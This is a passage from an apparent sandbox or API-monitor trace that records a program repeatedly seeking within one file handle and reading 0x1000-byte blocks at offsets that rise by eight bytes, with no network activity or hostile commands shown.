lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.090] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x51a, lpOverlapped=0x0) returned 1 [0069.090] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x90, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.090] GetLastError () returned 0x0 [0069.090] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.090] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x512, lpOverlapped=0x0) returned 1 [0069.091] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.091] GetLastError () returned 0x0 [0069.091] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.091] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x50a, lpOverlapped=0x0) returned 1 [0069.091] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.091] GetLastError () returned 0x0 [0069.091] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.091] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x502, lpOverlapped=0x0) returned 1 [0069.091] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.091] GetLastError () returned 0x0 [0069.091] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.092] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4fa, lpOverlapped=0x0) returned 1 [0069.092] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.092] GetLastError () returned 0x0 [0069.092] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.092] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4f2, lpOverlapped=0x0) returned 1 [0069.092] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.092] GetLastError () returned 0x0 [0069.092] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.092] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4ea, lpOverlapped=0x0) returned 1 [0069.092] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.093] GetLastError () returned 0x0 [0069.093] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.093] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4e2, lpOverlapped=0x0) returned 1 [0069.093] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.093] GetLastError () returned 0x0 [0069.093] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.093] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4da, lpOverlapped=0x0) returned 1 [0069.093] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.093] GetLastError () returned 0x0 [0069.093] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.094] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4d2, lpOverlapped=0x0) returned 1 [0069.094] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.094] GetLastError () returned 0x0 [0069.094] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.094] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4ca, lpOverlapped=0x0) returned 1 [0069.094] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.094] GetLastError () returned 0x0 [0069.094] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.094] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4c2, lpOverlapped=0x0) returned 1 [0069.095] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.095] GetLastError () returned 0x0 [0069.095] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.095] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4ba, lpOverlapped=0x0) returned 1 [0069.095] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.095] GetLastError () returned 0x0 [0069.095] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.095] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4b2, lpOverlapped=0x0) returned 1 [0069.095] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xf8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.095] GetLastError () returned 0x0 [0069.095] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.096] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4aa, lpOverlapped=0x0) returned 1 [0069.096] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x100, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.096] GetLastError () returned 0x0 [0069.096] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.096] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x4a2, lpOverlapped=0x0) returned 1 [0069.096] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x108, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.096] GetLastError () returned 0x0 [0069.096] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.096] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x49a, lpOverlapped=0x0) returned 1 [0069.096] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x110, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.097] GetLastError () returned 0x0 [0069.097] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.097] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x492, lpOverlapped=0x0) returned 1 [0069.097] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x118, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.097] GetLastError () returned 0x0 [0069.097] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.097] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x48a, lpOverlapped=0x0) returned 1 [0069.097] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x120, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.097] GetLastError () returned 0x0 [0069.097] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.098] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x482, lpOverlapped=0x0) returned 1 [0069.098] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x128, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.098] GetLastError () returned 0x0 [0069.098] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.098] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x47a, lpOverlapped=0x0) returned 1 [0069.098] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x130, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.098] GetLastError () returned 0x0 [0069.098] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.098] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x472, lpOverlapped=0x0) returned 1 [0069.099] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x138, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.099] GetLastError () returned 0x0 [0069.099] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.099] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x46a, lpOverlapped=0x0) returned 1 [0069.099] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x140, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.099] GetLastError () returned 0x0 [0069.099] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.099] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x462, lpOverlapped=0x0) returned 1 [0069.099] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x148, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.099] GetLastError () returned 0x0 [0069.099] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.100] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x45a, lpOverlapped=0x0) returned 1 [0069.100] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x150, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.100] GetLastError () returned 0x0 [0069.100] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.100] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x452, lpOverlapped=0x0) returned 1 [0069.100] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x158, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.100] GetLastError () returned 0x0 [0069.100] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.100] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x44a, lpOverlapped=0x0) returned 1 [0069.100] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x160, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.101] GetLastError () returned 0x0 [0069.101] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.101] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x442, lpOverlapped=0x0) returned 1 [0069.101] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x168, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.101] GetLastError () returned 0x0 [0069.101] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.101] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x43a, lpOverlapped=0x0) returned 1 [0069.101] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x170, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.101] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.101] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x432, lpOverlapped=0x0) returned 1 [0069.101] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x178, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.102] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.102] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x42a, lpOverlapped=0x0) returned 1 [0069.102] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x180, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.102] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.102] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x422, lpOverlapped=0x0) returned 1 [0069.102] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x188, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.102] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.102] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x41a, lpOverlapped=0x0) returned 1 [0069.102] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x190, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.102] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.103] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x412, lpOverlapped=0x0) returned 1 [0069.103] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x198, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.103] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.103] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x40a, lpOverlapped=0x0) returned 1 [0069.103] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.103] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.103] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x402, lpOverlapped=0x0) returned 1 [0069.103] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1a8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.103] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.103] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3fa, lpOverlapped=0x0) returned 1 [0069.103] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.103] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.103] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3f2, lpOverlapped=0x0) returned 1 [0069.103] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1b8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.104] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.104] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3ea, lpOverlapped=0x0) returned 1 [0069.104] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.104] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.104] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3e2, lpOverlapped=0x0) returned 1 [0069.104] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1c8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.104] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.104] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3da, lpOverlapped=0x0) returned 1 [0069.104] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.104] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.104] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3d2, lpOverlapped=0x0) returned 1 [0069.104] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1d8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.104] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.104] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, lpNumberOfBytesRead=0x4aba5c*=0x3ca, lpOverlapped=0x0) returned 1 [0069.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e0, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.105] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x1e8, lpNewFilePointer=0x0, dwMoveMethod=0x4aba88 | out: lpNewFilePointer=0x0) returned 1 [0069.105] ReadFile (in: hFile=0x190, lpBuffer=0x55ee28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4aba5c, lpOverlapped=0x0 | out: lpBuffer=0x55ee28*, 